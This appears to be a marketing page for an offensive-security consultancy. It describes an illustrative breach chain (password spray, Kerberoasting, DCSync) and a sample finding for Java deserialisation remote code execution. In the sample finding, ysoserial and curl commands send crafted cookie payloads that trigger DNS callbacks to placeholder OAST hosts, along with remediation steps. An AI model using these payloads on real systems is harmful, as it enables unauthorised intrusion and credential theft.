AdarifyOffensive security

We break in. So nobody else does.

Offensive security for applications, networks and cloud. Every finding proven. Every finding closed.

From the internet, you look locked down.T+00:40 · passive recon · DNS, certificate logs, ASN sweep

An admin portal nobody remembered to retire.T+01:15 · exposed admin panel · no MFA

A staging server still answering on the open internet.T+01:52 · forgotten subdomain · unpatched framework

A password reused from an old breach.T+02:10 · breach corpus match · password spray

That is all it takes.

And then we are inside.

No malware. No alarms. A valid login through the VPN, and an EDR that saw nothing unusual.

Then it goes quiet.

Illustrative engagement · composite scenario, no client data

T+14:25 · Lateral movement · credential reuse

Cached credentials on a shared workstation open a path to the file servers.

T+26:05 · Privilege escalation · Kerberoasting

A service account with a weak password gives up its ticket, then its rights.

T+41:12 · Domain admin · DCSync

The domain controller replicates every password hash it holds. To us.

Every account. Every machine. Every secret.

This is what a breach looks like from the inside. We find the path first, so nobody else gets to walk it.

The same office tower at first light, every window dark and the street drying

Then we close every door we opened.

Every finding arrives with the path that made it possible, the fix that breaks it, and a retest that proves it is closed.

What you receive.

A test is only worth what you can do with it afterwards. So it does not end with a PDF.

A professional report
An executive summary your board can act on and technical findings your engineers can reproduce: evidence, CVSS severity, business impact and the exact attack path.
Deliverables that fit your workflow
A prioritised findings register, the attack-path narrative and raw evidence, ready for Jira, ServiceNow or your GRC platform.
Advice tailored to you
Remediation written for your stack and your constraints, plus detection guidance your SOC can deploy, walked through with the people doing the work.
Help until it is resolved
We stay with you after the report: answering questions, reviewing fixes and retesting until every issue is closed.
AG-0921 · Sample finding Critical · CVSS 9.8

Unauthenticated remote code execution via Java deserialisation

The customer portal trusts a serialised Java object sent in a cookie. One crafted request, with no login, runs operating system commands on the application server.

Target
Customer portal · Spring MVC on Tomcat 9 · Java 11
Weakness
CWE-502: Deserialization of Untrusted Data
Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Root cause
The SESSION_STATE cookie is passed straight to ObjectInputStream.readObject() with no JEP 290 filter, while commons-collections 3.2.1 sits on the classpath and supplies a working gadget chain.
  1. 01 · Fingerprint
    $ echo "$SESSION_STATE" | base64 -d | xxd | head -1
    00000000: aced 0005 7372 0021 636f 6d2e  ....sr.!com.
    [!] aced0005: Java serialization stream, client controlled
  2. 02 · Confirm safely, no code executed
    $ java -jar ysoserial.jar URLDNS http://k3q9.oast.example \
        | base64 -w0 > probe.b64
    $ curl -s https://portal.corp.example/account \
        -H "Cookie: SESSION_STATE=$(cat probe.b64)"
    [+] DNS lookup for k3q9.oast.example from 203.0.113.24
  3. 03 · Prove execution, within the rules of engagement
    $ java -jar ysoserial.jar CommonsCollections6 \
        "nslookup rce-7f2.oast.example" | base64 -w0 > rce.b64
    $ curl -s https://portal.corp.example/account \
        -H "Cookie: SESSION_STATE=$(cat rce.b64)"
    [+] DNS lookup for rce-7f2.oast.example: command executed
    [+] runs as tomcat · reads application.properties
    [+] exposed: database credentials, AWS access key
Impact
Full compromise of the portal server without credentials. Secrets on the host open the customer database and an AWS account, turning one cookie into a data breach.
Remediation, in order
  1. Stop deserialising client data: replace the cookie with a server-side session or a signed JSON token.
  2. Until then, enforce a JEP 290 ObjectInputFilter allowlist on every ObjectInputStream.
  3. Upgrade commons-collections to 3.2.2 or later and remove unused gadget libraries.
  4. Rotate the exposed database and AWS credentials, then review their access logs.
  5. Detect it: alert on shells or network tools spawned by the Tomcat process.
Escalated in 47 min Fixed in 2 days Retest: closed

Attackers chain everything. So do we.

Real breaches move from an app to the cloud to the network. We follow them across every boundary.

BSR · Broad Security Review

One review. Every path.

Your applications, APIs and mobile apps, the infrastructure underneath them and every component they touch, in one engagement. One team, one scope, one report, every attack chain mapped end to end.

How a BSR works

Trusted where the stakes are highest.

We have delivered security testing for Big Four firms and FTSE 100 companies, where a missed finding is not an option. We never name clients. Discretion is part of the job.

Big Fourfirms tested for
FTSE 100companies tested for
11credentials held
  • OSEPOffSec
  • CRTOZero-Point
  • CRTPAltered Security
  • CPTSHack The Box
  • BSCPPortSwigger
  • PMPATCM Security
  • AWSAmazon
  • AZUREMicrosoft
  • KCSQualys
  • CMCBTACyberWarFare
  • MBCSBCS
Retest passed Open paths 0 of 5 Access none

Find it before they do.

Tell us what you run. We will agree the scope and rules of engagement with you, then send a clear proposal. No obligation.

Book a scoping call